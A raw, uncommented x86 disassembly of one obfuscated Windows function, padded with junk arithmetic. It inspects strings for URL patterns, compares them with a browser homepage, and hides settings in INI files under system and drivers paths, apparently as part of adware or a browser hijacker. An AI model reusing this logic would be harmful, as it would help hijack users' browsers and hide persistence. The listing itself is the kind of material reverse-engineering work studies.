sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
push ecx
mov dword [0x45782c], ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [0x457834]
mov eax, 0xf00f00f1
imul esi
mov eax, dword [0x457830]
add edx, esi
imul eax, eax, 0x1643
sar edx, 0xd
mov edi, edx
mov ecx, dword [0x457820]
shr edi, 0x1f
add edi, edx
mov edx, dword [0x457818]
imul edx, edx, 0x2220
add edi, edx
sub edi, eax
mov eax, 0x8f2b7b75
imul ecx
add edx, ecx
sar edx, 0xb
add edi, edx
mov ecx, edx
mov eax, 0xb6adc247
imul esi
add edx, esi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ecx, 0x1f
add ecx, edi
mov edi, dword [0x457828]
sub ecx, eax
mov eax, 0x77c150d
imul edi
sar edx, 8
mov ebx, edi
imul ebx, ebx, 0x2234
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9ad70599
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xb7fe3405
mov dword [0x457818], ecx
imul edi
add edx, edi
imul ecx, ecx, 0x1568
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [ebp - 0x10d4]
add ebx, ecx
lea edx, [ebp - 0x10f8]
push edx
mov dword [0x457834], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10f8]
push eax
call fcn.00420790
mov ecx, dword [0x45782c]
mov esi, dword [str._r_____r____]
mov ebx, eax
imul esi, esi, 0x1a74
mov eax, 0x9ad70599
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457820]
sub esi, eax
mov eax, 0x77826bf5
imul edx
mov edi, dword [0x457834]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457818]
imul edx, edx, 0x59b
sub esi, eax
add esi, edx
sub esi, edi
sub esi, 0x2220
test ebx, ebx
mov dword [0x457820], esi
je 0x41d015
mov edi, 0x448324
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x41d00f
mov edx, dword [0x457824]
mov ecx, dword [0x457838]
mov eax, 0xf883eaf3
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, ecx
imul esi, esi, 0x2220
mov eax, 0x2d78bd59
imul ecx
sar edx, 0xa
sub edi, esi
mov esi, edx
add edi, edx
mov edx, dword [0x45781c]
imul edx, edx, 0x1568
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x7931d3bd
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push 1
mov dword [0x457828], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10d4]
mov ecx, dword [eax]
lea edx, [ebp - 0x10f8]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10f8]
push eax
call fcn.00420790
mov ebx, eax
mov ecx, dword [0x45782c]
mov edx, dword [0x45781c]
imul ecx, ecx, 0x2220
mov eax, 0x887d940b
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457824]
sub eax, ecx
imul edx, edx, 0x562
mov ecx, dword [0x457828]
imul ecx, ecx, 0xe4e
push 4
add eax, ecx
sub eax, edx
push str.http
push ebx
mov dword [0x457830], eax
call fcn.0042ba60
add esp, 0xc
test eax, eax
je 0x41d28e
push 4
push str.HTTP
push ebx
call fcn.0042ba60
add esp, 0xc
test eax, eax
je 0x41d28e
push 4
push str.www.
push ebx
call fcn.0042ba60
add esp, 0xc
test eax, eax
je 0x41d28e
push 4
push str.WWW.
push ebx
call fcn.0042ba60
add esp, 0xc
test eax, eax
je 0x41d28e
push str.http:
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d101
push str.HTTP:
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d101
push str.www.
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d101
push str.WWW.
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
je 0x41d28e
mov ecx, dword [0x45782c]
mov esi, dword [0x457834]
mov eax, 0x17eb125
imul esi, esi, 0x2220
imul ecx
mov ecx, dword [0x457820]
sar edx, 5
imul ecx, ecx, 0x114e
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x8f2b7b75
imul ecx
add edx, ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push str.http:
push ebx
mov dword [0x457838], edi
call fcn.0042b350
add esp, 8
test eax, eax
je 0x41d23a
push str.http:
jmp 0x41d283
mov esi, dword [0x457834]
imul ecx, ecx, 0x1643
mov eax, 0xf00f00f1
imul esi
add edx, esi
sar edx, 0xd
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x457818]
imul edx, edx, 0x2220
add edi, edx
sub edi, ecx
mov ecx, dword [0x457820]
mov eax, 0x8f2b7b75
imul ecx
add edx, ecx
sar edx, 0xb
mov ecx, edx
add edi, edx
mov eax, 0xb6adc247
imul esi
add edx, esi
sar edx, 0xa
mov eax, edx
shr ecx, 0x1f
shr eax, 0x1f
add ecx, edi
add eax, edx
sub ecx, eax
push str.startup.exe
mov dword [0x457818], ecx
call fcn.0040c7b0
add esp, 4
test eax, eax
jle 0x41c622
mov eax, dword [ebp - 0x10d4]
cmp eax, ebx
mov byte [ebp - 4], 5
je 0x41d205
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10e4]
cmp eax, ebx
mov byte [ebp - 4], 4
je 0x41d219
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10cc]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x41d22d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d8]
cmp eax, ebx
jmp 0x41df45
push str.HTTP:
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
je 0x41d253
push str.HTTP:
jmp 0x41d283
push str.www.
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
je 0x41d26c
push str.www.
jmp 0x41d283
push str.WWW.
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
je 0x41d28e
push str.WWW.
push ebx
call fcn.0042b350
add esp, 8
mov ebx, eax
mov eax, 0x77c150d
imul dword [0x457824]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x9ad70599
imul dword [0x457824]
add edx, dword [0x457824]
sar edx, 0xc
mov edi, dword [0x457830]
mov ecx, dword [0x457838]
imul edi, edi, 0x10e6
mov eax, edx
imul ecx, ecx, 0x1685
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xb7fe3405
imul dword [0x45781c]
add edx, dword [0x45781c]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edx, dword [0x448c74]
xor eax, eax
mov dword [ebp - 0x10e0], ecx
add esi, edi
add esi, ecx
mov dword [ebp - 0x10dc], edi
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x448c78]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x448c7c]
mov dword [ebp - 0x4c0], edx
mov dx, word [0x448c80]
xor eax, eax
mov dword [ebp - 0x4b8], ecx
mov word [ebp - 0x4b4], dx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0x77c150d
imul dword [0x457838]
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x17eb125
imul dword [0x45781c]
sar edx, 5
mov eax, edx
add ecx, edx
mov edx, dword [ebp - 0x10e0]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [ebp - 0x10dc]
sub eax, edx
sub eax, esi
lea edx, [eax + ecx + 0x1123]
mov eax, ebx
mov dword [str._r_____r____], esi
mov dword [0x45781c], edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d3c2
sub eax, esi
mov dword [ebp - 0x10e0], eax
je 0x41d500
push str.http:__
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d4eb
push str.HTTP:__
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d4eb
push str.www.
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d4eb
push str.WWW.
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d4eb
push str..COM
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d4eb
push str..com
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d4eb
push str..NET
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d4eb
push str..net
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d4eb
push str..ORG
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d4eb
push str..org
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d4eb
push 0x448c2c
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d4eb
push 0x448c28
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d4eb
push str..htm
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d4eb
push str..HTM
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
je 0x41d500
push ebx
lea eax, [ebp - 0x4c4]
push str.__s_
push eax
call fcn.0042a8b1
add esp, 0xc
mov ecx, dword [0x457824]
mov eax, 0x77c150d
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x9ad70599
imul ecx
mov eax, dword [0x457838]
add edx, ecx
imul eax, eax, 0x1685
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45781c]
add esi, eax
mov eax, 0xb7fe3405
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x457830]
push str.C:WINDOWS_system_sdax.txt
imul eax, eax, 0x10e6
push 0x400
lea ecx, [ebp - 0x8c4]
push ecx
push 0x447e15
push str.rtgbh
add esi, eax
push str.asdf
mov dword [str._r_____r____], esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x41d6ca
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d5a0
sub eax, edx
mov dword [ebp - 0x10e0], eax
je 0x41d6ca
mov edi, 0x448324
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x41d6ca
lea eax, [ebp - 0x144]
push eax
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d64b
lea ecx, [ebp - 0x144]
push ebx
push ecx
call fcn.0042b350
add esp, 8
test eax, eax
jne 0x41d64b
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
lea ebx, [ebx]
mov dl, byte [esi]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x41d628
test al, al
je 0x41d624
mov cl, byte [esi + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x41d628
add esi, 2
add edi, 2
test al, al
jne 0x41d600
xor eax, eax
jmp 0x41d62d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41d64b
lea edx, [ebp - 0x4c4]
push edx
lea eax, [ebp - 0x8c4]
push eax
call fcn.0042b350
add esp, 8
test eax, eax
je 0x41d65f
lea ecx, [ebp - 0x1c4]
push ecx
push ebx
call fcn.0042b350
add esp, 8
test eax, eax
je 0x41d6ca
mov ecx, dword [0x45782c]
mov edi, dword [str._r_____r____]
mov eax, 0x9ad70599
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edi
imul ecx, ecx, 0x1a74
mov ebx, dword [0x457818]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457820]
sub ecx, eax
mov eax, 0x77826bf5
imul edx
mov esi, dword [0x457834]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x59b
sub ecx, eax
add ecx, edx
sub ecx, esi
sub ecx, 0x2220
mov dword [0x457820], ecx
jmp 0x41d777
push 0
call fcn.0042aee7
mov edx, dword [0x457824]
mov ecx, dword [0x56b654]
mov dword [0x56b650], eax
mov eax, 0xf883eaf3
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
add esp, 4
inc ecx
mov dword [0x56b654], ecx
mov ecx, dword [0x457838]
mov esi, ecx
imul esi, esi, 0x2220
mov eax, 0x2d78bd59
imul ecx
sar edx, 0xa
sub edi, esi
mov esi, edx
add edi, edx
mov edx, dword [0x45781c]
imul edx, edx, 0x1568
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x7931d3bd
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d0]
sub esi, eax
mov eax, dword [ebp - 0x10d4]
push edx
mov dword [0x457828], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x9c]
mov edi, dword [str._r_____r____]
mov ebx, dword [0x457818]
mov esi, dword [0x457834]
mov ecx, dword [0x457820]
mov eax, 0xf00f00f1
imul ebx, ebx, 0x2220
imul esi
add edx, esi
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457830]
imul edx, edx, 0x1643
add eax, ebx
sub eax, edx
mov dword [ebp - 0x10d0], eax
mov eax, 0x8f2b7b75
imul ecx
mov eax, dword [ebp - 0x10d0]
add edx, ecx
sar edx, 0xb
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0xb6adc247
imul esi
add edx, esi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov dword [0x457818], ecx
je 0x41dd3f
lea ebx, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41d7f0
sub eax, ebx
mov dword [ebp - 0x10d0], eax
je 0x41dd3f
mov ebx, dword [0x457830]
imul ecx, ecx, 0x10e6
imul edi, edi, 0x2234
mov eax, 0x17eb125
imul dword [0x45782c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457828]
imul edx, edx, 0x59b
sub edi, eax
add ecx, ebx
add ecx, edi
lea eax, [edx + ecx - 0x2220]
push 0xffffffffffffffff
push 0x55b230
lea ecx, [ebp - 0x1138]
mov dword [0x457824], eax
call fcn.00405c60
mov ecx, dword [0x45782c]
mov ebx, dword [0x457828]
imul ecx, ecx, 0x2220
mov eax, 0x887d940b
imul dword [0x45781c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457824]
mov esi, eax
imul edx, edx, 0x562
mov eax, dword [ebp - 0x10c8]
sub esi, ecx
mov ecx, ebx
imul ecx, ecx, 0xe4e
add esi, ecx
sub esi, edx
mov byte [ebp - 4], 7
mov dword [0x457830], esi
mov edi, 0x55aa28
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [edi]
jne 0x41d8d8
test cl, cl
je 0x41d8d4
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [edi + 1]
jne 0x41d8d8
add eax, 2
add edi, 2
test cl, cl
jne 0x41d8b4
xor eax, eax
jmp 0x41d8dd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41dd24
mov edi, dword [0x457838]
imul esi, esi, 0x10e6
mov eax, 0x77c150d
imul edi
sar edx, 8
mov ecx, edi
imul ecx, ecx, 0x1685
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov dword [ebp - 0x10d0], eax
mov eax, 0x17eb125
imul dword [0x45781c]
mov eax, dword [ebp - 0x10d0]
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
add ecx, eax
mov eax, dword [ebp - 0x10c8]
add ecx, esi
sub ecx, edx
add ecx, 0x1123
mov dword [0x45781c], ecx
lea esi, [eax + 1]
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41d950
sub eax, esi
cmp eax, 0x800
jae 0x41d97f
mov esi, dword [ebp - 0x10c8]
mov ecx, esi
mov edx, 0x55aa28
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41d970
jmp 0x41da01
mov eax, 0xf883eaf3
imul ecx, ecx, 0x1568
imul dword [0x457824]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov esi, edi
imul esi, esi, 0x2220
mov eax, 0x2d78bd59
imul edi
sub ebx, esi
sar edx, 0xa
mov esi, edx
add ebx, edx
mov eax, 0x7931d3bd
imul edi
shr esi, 0x1f
add esi, ebx
add esi, ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov dword [0x457828], esi
mov esi, dword [ebp - 0x10c8]
push 0x7ff
xor eax, eax
push esi
mov ecx, 0x200
mov edi, 0x55aa28
push 0x55aa28
rep stosd dword es:[edi], eax
call fcn.0042b930
mov ebx, dword [0x457828]
add esp, 0xc
mov ecx, dword [0x457834]
mov eax, 0x77c150d
imul ebx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, ebx
imul edi, edi, 0x2234
sub edi, eax
mov eax, 0x9ad70599
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xb7fe3405
imul ebx
sub edi, ecx
mov ecx, dword [0x457818]
add edx, ebx
imul ecx, ecx, 0x1568
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov eax, 0x55a128
mov dword [0x457834], edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41da68
sub eax, edx
cmp eax, 5
jbe 0x41dd24
push str.ConfigL6
push esi
call fcn.00404380
add esp, 8
test eax, eax
jne 0x41dd24
mov ecx, dword [0x45782c]
mov esi, dword [0x457834]
mov eax, 0x17eb125
imul esi, esi, 0x2220
imul ecx
mov ecx, dword [0x457820]
sar edx, 5
imul ecx, ecx, 0x114e
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x8f2b7b75
imul ecx
add edx, ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0x132b600
mov dword [0x457838], edi
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 4
xor esi, esi
cmp esi, 0x64
jge 0x41db97
mov ecx, dword [0x457824]
mov eax, 0x77c150d
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x9ad70599
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457838]
imul edx, edx, 0x1685
sub edi, ecx
mov ecx, dword [0x45781c]
add edi, edx
mov eax, 0xb7fe3405
imul ecx
add edx, ecx
mov ecx, dword [0x457830]
sar edx, 0xc
imul ecx, ecx, 0x10e6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
push 0x64
mov dword [str._r_____r____], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x55a128
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41db80
sub eax, edx
mov dword [ebp - 0x10d0], eax
je 0x41db97
inc esi
jmp 0x41daf5
mov ecx, dword [0x457838]
mov eax, 0x77c150d
imul ecx
imul ecx, ecx, 0x1685
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x45781c]
mov eax, 0x17eb125
imul ecx
sar edx, 5
add esi, edx
mov ecx, edx
mov edx, dword [0x457830]
imul edx, edx, 0x10e6
push str.C:WINDOWS_system32driversetc_service5.ini
shr ecx, 0x1f
push 0x800
add ecx, esi
mov esi, dword [str._r_____r____]
lea eax, [ebp - 0x10c4]
push eax
add ecx, edx
push 0x447e15
sub ecx, esi
push str.ConfigL5
add ecx, 0x1123
push str.GameType1
mov dword [0x45781c], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x45782c]
mov esi, dword [str._r_____r____]
mov ebx, dword [0x457830]
imul esi, esi, 0x2234
mov eax, 0x17eb125
imul ecx
mov eax, dword [0x457828]
sar edx, 5
imul eax, eax, 0x59b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457818]
imul edx, edx, 0x10e6
sub esi, ecx
add edx, ebx
add edx, esi
lea ecx, [eax + edx - 0x2220]
lea edx, [ebp - 0x10c4]
push edx
mov dword [0x457824], ecx
call fcn.0042aee2
inc eax
push eax
lea eax, [ebp - 0x10c4]
push 0x447b00
push eax
call fcn.0042a8b1
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea ecx, [ebp - 0x10c4]
push ecx
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x457820]
mov esi, dword [0x45782c]
mov eax, 0x9ad70599
imul esi, esi, 0x2220
imul ecx
add edx, ecx
imul ecx, ecx, 0x1643
sar edx, 0xc
mov edi, edx
shr edi, 0x1f
add esi, edx
add edi, esi
add edi, ecx
mov edx, dword [0x457830]
mov ecx, dword [0x45781c]
imul edx, edx, 0xe4e
mov esi, dword [0x55a120]
add edi, edx
mov eax, 0xb6adc247
imul ecx
add edx, ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
inc esi
push 0
mov dword [0x45782c], edi
mov dword [0x55a120], esi
call fcn.0042aee7
add esp, 4
mov dword [0x55a124], eax
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 6
call fcn.00405cf0
mov ecx, dword [0x457818]
mov esi, dword [0x457834]
mov edi, dword [0x457828]
imul ecx, ecx, 0x1568
mov eax, 0x77c150d
imul edi
sar edx, 8
mov ebx, edi
imul ebx, ebx, 0x2234
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9ad70599
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xb7fe3405
imul edi
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
push ecx
add ebx, ecx
mov ecx, dword [ebp - 0x10cc]
mov eax, esp
mov dword [0x457834], ebx
mov dword [eax], ecx
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov dword [ebp - 0x10d0], esp
je 0x41ddb9
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x56b378
call fcn.00406ac0
mov ecx, dword [0x457834]
mov esi, dword [0x457820]
mov eax, 0xf00f00f1
imul ecx
mov eax, dword [0x457818]
add edx, ecx
imul eax, eax, 0x2220
sar edx, 0xd
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x457830]
imul edx, edx, 0x1643
add edi, eax
sub edi, edx
mov eax, 0x8f2b7b75
imul esi
add edx, esi
sar edx, 0xb
mov esi, edx
add edi, edx
mov eax, 0xb6adc247
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0x10cc]
sar edx, 0xa
mov eax, edx
shr esi, 0x1f
shr eax, 0x1f
add eax, edx
add esi, edi
sub esi, eax
push 0
push ecx
mov dword [0x457818], esi
call fcn.004088a0
mov ecx, dword [0x45782c]
mov esi, dword [str._r_____r____]
mov eax, 0x9ad70599
imul esi, esi, 0x1a74
imul ecx
add edx, ecx
mov ecx, dword [0x457820]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x77826bf5
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457818]
imul edx, edx, 0x59b
sub esi, ecx
mov ecx, dword [0x457834]
add esi, edx
sub esi, ecx
add esp, 8
sub esi, 0x2220
mov dword [0x457820], esi
mov esi, dword [0x457838]
mov eax, 0xf883eaf3
imul dword [0x457824]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov ecx, esi
imul ecx, ecx, 0x2220
mov eax, 0x2d78bd59
imul esi
sub edi, ecx
sar edx, 0xa
add edi, edx
mov ecx, edx
mov edx, dword [0x45781c]
imul edx, edx, 0x1568
shr ecx, 0x1f
add ecx, edi
add ecx, edx
mov eax, 0x7931d3bd
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov dword [0x457828], ecx
mov byte [ebp - 4], 5
je 0x41df15
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 4
je 0x41df29
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41df3d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 1
je 0x41df51
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x1100]
mov esi, dword [0x457838]
inc eax
mov dword [ebp - 0x1100], eax
mov ecx, eax
jmp 0x41bf00
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 0
je 0x41df7f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x45782c]
mov eax, 0x887d940b
imul ecx, ecx, 0x2220
imul dword [0x45781c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, dword [0x457828]
imul eax, eax, 0xe4e
sub edx, ecx
add edx, eax
mov eax, dword [0x457824]
imul eax, eax, 0x562
sub edx, eax
mov eax, dword [ebp - 0x10f0]
mov dword [0x457830], edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.0042a6e1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret